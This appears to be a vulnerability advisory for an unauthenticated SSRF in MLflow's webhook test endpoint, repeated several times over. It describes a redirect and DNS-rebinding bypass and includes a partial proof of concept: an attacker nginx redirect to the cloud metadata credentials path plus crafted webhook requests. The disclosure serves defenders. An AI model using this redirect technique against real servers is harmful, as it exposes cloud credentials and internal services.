CVE-2026-64849

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

…

MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

…

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

…

MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Starting in 3.3.0 and prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.